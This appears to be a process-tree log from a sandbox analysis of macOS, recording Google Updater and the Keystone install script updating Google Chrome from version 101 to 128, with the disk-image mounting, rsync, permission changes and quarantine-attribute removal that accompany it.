      "/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=5"
      4⤵
      PID:1.8446744073709552e+19
  - - /Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/Helpers/launcher
      "/Library/Application Support/Google/GoogleUpdater/Current/GoogleUpdater.app/Contents/Helpers/launcher"
      4⤵
      PID:571
  - - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
      GoogleUpdater --server "--service=update" --system
      4⤵
      PID:0
    - - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
        
        "/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=5"
        5⤵
        
        PID:1.8446744073709552e+19
    - - /usr/bin/profiles
        
        /usr/bin/profiles status -type enrollment
        5⤵
        
        PID:575
    - - /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin
        
        /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin -P com.google.Chrome --delete --store /Users/run/Library/Google/GoogleSoftwareUpdate/TicketStore/Keystone.ticketstore
        5⤵
        
        PID:576
    - - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
        
        GoogleUpdater --server "--service=update" --system
        5⤵
        
        PID:1.8446744073709552e+19
    - - /Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater
        
        "/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/GoogleUpdater.app/Contents/MacOS/GoogleUpdater" --crash-handler --system "--database=/Library/Application Support/Google/GoogleUpdater/128.0.6597.0/Crashpad" "--url=https://clients2.google.com/cr/report" "--annotation=prod=Update4" "--annotation=ver=128.0.6597.0" "--handshake-fd=5"
        5⤵
        
        PID:1.8446744073709552e+19
    - - /usr/sbin/system_profiler
        
        /usr/sbin/system_profiler SPConfigurationProfileDataType -detailLevel mini -timeout 15 -xml
        5⤵
        
        PID:582
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=105"
        5⤵
        
        PID:585
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=105"
        5⤵
        
        PID:586
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=107"
        5⤵
        
        PID:587
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=107"
        5⤵
        
        PID:588
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=113"
        5⤵
        
        PID:589
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=21" "--launch-time-ticks=488587835" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=118"
        5⤵
        
        PID:590
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=22" "--launch-time-ticks=489974377" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=128"
        5⤵
        
        PID:591
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=23" "--launch-time-ticks=493046045" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=54"
        5⤵
        
        PID:592
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=75"
        5⤵
        
        PID:593
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=25" "--launch-time-ticks=500702712" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=75"
        5⤵
        
        PID:594
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=26" "--launch-time-ticks=504151151" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=76"
        5⤵
        
        PID:595
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=134"
        5⤵
        
        PID:596
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.appkit.xpc.openAndSavePanelService 531
        5⤵
        
        PID:599
    - - /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/com.apple.appkit.xpc.openAndSavePanelService.xpc/Contents/MacOS/com.apple.appkit.xpc.openAndSavePanelService
        
        /System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/com.apple.appkit.xpc.openAndSavePanelService.xpc/Contents/MacOS/com.apple.appkit.xpc.openAndSavePanelService
        5⤵
        
        PID:599
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.quicklook.QuickLookUIService 599
        5⤵
        
        PID:600
    - - /System/Library/Frameworks/Quartz.framework/Versions/A/Frameworks/QuickLookUI.framework/Versions/A/XPCServices/QuickLookUIService.xpc/Contents/MacOS/QuickLookUIService
        
        /System/Library/Frameworks/Quartz.framework/Versions/A/Frameworks/QuickLookUI.framework/Versions/A/XPCServices/QuickLookUIService.xpc/Contents/MacOS/QuickLookUIService
        5⤵
        
        PID:600
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.automountd
        5⤵
        
        PID:601
    - - /usr/libexec/automountd
        
        automountd
        5⤵
        
        PID:601
      - /usr/libexec/od_user_homes
        
        /usr/libexec/od_user_homes .localized
        6⤵
        
        PID:602
      - /usr/libexec/od_user_homes
        
        /usr/libexec/od_user_homes .localized
        6⤵
        
        PID:661
      - /usr/libexec/od_user_homes
        
        /usr/libexec/od_user_homes .localized
        6⤵
        
        PID:758
      - /usr/libexec/od_user_homes
        
        /usr/libexec/od_user_homes .localized
        6⤵
        
        PID:784
      - /usr/libexec/od_user_homes
        
        /usr/libexec/od_user_homes .localized
        6⤵
        
        PID:793
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.quicklook
        5⤵
        
        PID:609
    - - /System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd
        
        /System/Library/Frameworks/QuickLook.framework/Resources/quicklookd.app/Contents/MacOS/quicklookd
        5⤵
        
        PID:609
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.quicklook.satellite.F02A897D-D434-467E-9E96-A8BE4DC6F89B 609
        5⤵
        
        PID:610
    - - /System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
        
        /System/Library/Frameworks/QuickLook.framework/Versions/A/XPCServices/QuickLookSatellite.xpc/Contents/MacOS/QuickLookSatellite
        5⤵
        
        PID:610
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=117"
        5⤵
        
        PID:611
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=117"
        5⤵
        
        PID:612
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=109"
        5⤵
        
        PID:613
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=110"
        5⤵
        
        PID:617
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=109"
        5⤵
        
        PID:618
    - - /usr/bin/hdiutil
        
        /usr/bin/hdiutil attach /var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T/.com.google.Chrome.ikZuKs/GoogleChrome-128.0.6613.138.dmg -plist -nobrowse -readonly
        5⤵
        
        PID:619
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.hdiejectd
        5⤵
        
        PID:620
    - - /System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd
        
        /System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd
        5⤵
        
        PID:620
    - - /System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper
        
        /System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid DD83236B-D8B4-4D01-B180-55E57130FE37
        5⤵
        
        PID:621
    - - /System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper
        
        /System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid DD83236B-D8B4-4D01-B180-55E57130FE37 -post-exec 4
        5⤵
        
        PID:622
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=109"
        5⤵
        
        PID:623
    - - /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util
        
        /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -p disk3s2 removable readonly
        5⤵
        
        PID:624
    - - /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util
        
        /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -k disk3s2
        5⤵
        
        PID:625
    - - /System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs
        
        /System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs -q /dev/rdisk3s2
        5⤵
        
        PID:626
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.hdiejectd
        5⤵
        
        PID:627
    - - /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util
        
        /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -p disk3s2 removable readonly
        5⤵
        
        PID:628
    - - /System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd
        
        /System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd
        5⤵
        
        PID:627
    - - /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util
        
        /System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -k disk3s2
        5⤵
        
        PID:629
    - - /System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs
        
        /System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs -q /dev/rdisk3s2
        5⤵
        
        PID:630
    - - /sbin/mount
        
        /sbin/mount -t hfs -o "-u=99,-g=99,-m=755,nodev,noowners,nosuid,rdonly,nobrowse" /dev/disk3s2 "/Volumes/Google Chrome"
        5⤵
        
        PID:631
      - /sbin/mount_hfs
        
        /sbin/mount_hfs -u 99 -g 99 -m 755 -o nodev -o noowners -o nosuid -o rdonly -o nobrowse /dev/disk3s2 "/Volumes/Google Chrome"
        6⤵
        
        PID:632
    - - /Volumes/Google Chrome/.keystone_install
        
        "/Volumes/Google Chrome/.keystone_install" "/Volumes/Google Chrome" "/Applications/Google Chrome.app" 101.0.4951.54
        5⤵
        
        PID:634
      - /usr/bin/basename
        
        basename "/Volumes/Google Chrome/.keystone_install"
        6⤵
        
        PID:635
      - /bin/mkdir
        
        mkdir -p "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions"
        6⤵
        
        PID:650
      - /usr/bin/rsync
        
        rsync --ignore-times --links --perms --recursive --times --delete-before "/Volumes/Google Chrome/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/128.0.6613.138/" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/128.0.6613.138"
        6⤵
        
        PID:651
      - /usr/bin/rsync
        
        rsync --ignore-times --links --perms --recursive --times --delete-after "--include=/Contents/Frameworks/Google Chrome Framework.framework/Versions/Current" "--exclude=/Contents/Frameworks/Google Chrome Framework.framework/Versions/*" "--exclude=/Contents/Versions/*" "/Volumes/Google Chrome/Google Chrome.app/" "/Applications/Google Chrome.app"
        6⤵
        
        PID:667
      - /bin/rm
        
        rm -f "/Applications/Google Chrome.app/.want_full_installer"
        6⤵
        
        PID:670
      - /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister
        
        /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f "/Applications/Google Chrome.app"
        6⤵
        
        PID:681
      - /usr/bin/dirname
        
        dirname "/Library/Google/Google Chrome Brand.plist"
        6⤵
        
        PID:684
      - /bin/mkdir
        
        mkdir -p /Library/Google
        6⤵
        
        PID:685
      - /usr/bin/defaults
        
        defaults write "/Library/Google/Google Chrome Brand" KSBrandID -string GGRO
        6⤵
        
        PID:686
      - /usr/sbin/chown
        
        chown root:wheel "/Library/Google/Google Chrome Brand.plist"
        6⤵
        
        PID:687
      - /bin/chmod
        
        chmod 644 "/Library/Google/Google Chrome Brand.plist"
        6⤵
        
        PID:688
      - /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin
        
        ksadmin --register --productid com.google.Chrome --version 128.0.6613.138 --xcpath "/Applications/Google Chrome.app" --url https://tools.google.com/service/update2 --tag universal --tag-path "/Applications/Google Chrome.app/Contents/Info.plist" --tag-key KSChannelID --brand-path "/Library/Google/Google Chrome Brand.plist" --brand-key KSBrandID --version-path "/Applications/Google Chrome.app/Contents/Info.plist" --version-key KSVersion
        6⤵
        
        PID:693
      - /bin/rm
        
        rm -rf "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/95.0.4638.69"
        6⤵
        
        PID:701
      - /usr/sbin/chown
        
        chown -Rh root:wheel "/Applications/Google Chrome.app"
        6⤵
        
        PID:702
      - /bin/chmod
        
        chmod -R "a+rX,u+w,go-w" "/Applications/Google Chrome.app"
        6⤵
        
        PID:703
      - /usr/bin/find
        
        find "/Applications/Google Chrome.app" -type l -exec chmod -h "a+rX,u+w,go-w" "{}" +
        6⤵
        
        PID:704
        
        /bin/chmod
        
        chmod -h "a+rX,u+w,go-w" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Default Apps" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/KeystoneRegistration" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Resources" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Frameworks/KeystoneRegistration.framework/Helpers" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/Current" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/128.0.6613.138/Helpers/GoogleUpdater.app/Contents/Helpers/GoogleSoftwareUpdate.bundle/Contents/MacOS/ksadmin" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Libraries" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Google Chrome Framework" "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Helpers"
        7⤵
        
        PID:705
      - /usr/bin/xattr
        
        xattr -d -r com.apple.quarantine "/Applications/Google Chrome.app"
        6⤵
        
        PID:706
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=109"
        5⤵
        
        PID:656
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=109"
        5⤵
        
        PID:660
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=110"
        5⤵
        
        PID:662
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=110"
        5⤵
        
        PID:709
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=110"
        5⤵
        
        PID:710
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=110"
        5⤵
        
        PID:711
    - - /usr/bin/hdiutil
        
        /usr/bin/hdiutil detach "/Volumes/Google Chrome" -force
        5⤵
        
        PID:712
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=120"
        5⤵
        
        PID:713
    - - /sbin/umount
        
        /sbin/umount -f "/Volumes/Google Chrome"
        5⤵
        
        PID:714
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.security.DiskUnmountWatcher
        5⤵
        
        PID:717
    - - /System/Library/PrivateFrameworks/KerberosHelper/Helpers/DiskUnmountWatcher
        
        /System/Library/PrivateFrameworks/KerberosHelper/Helpers/DiskUnmountWatcher
        5⤵
        
        PID:717
    - - /Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
        
        "/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" --shared-files "--field-trial-handle=1718379636,r,364714990537180920,1602675353184309552,131072" "--seatbelt-client=120"
        5⤵
        
        PID:724
    - - /usr/libexec/xpcproxy
        
        xpcproxy com.apple.Safari.2028
        5⤵
        
        PID:727
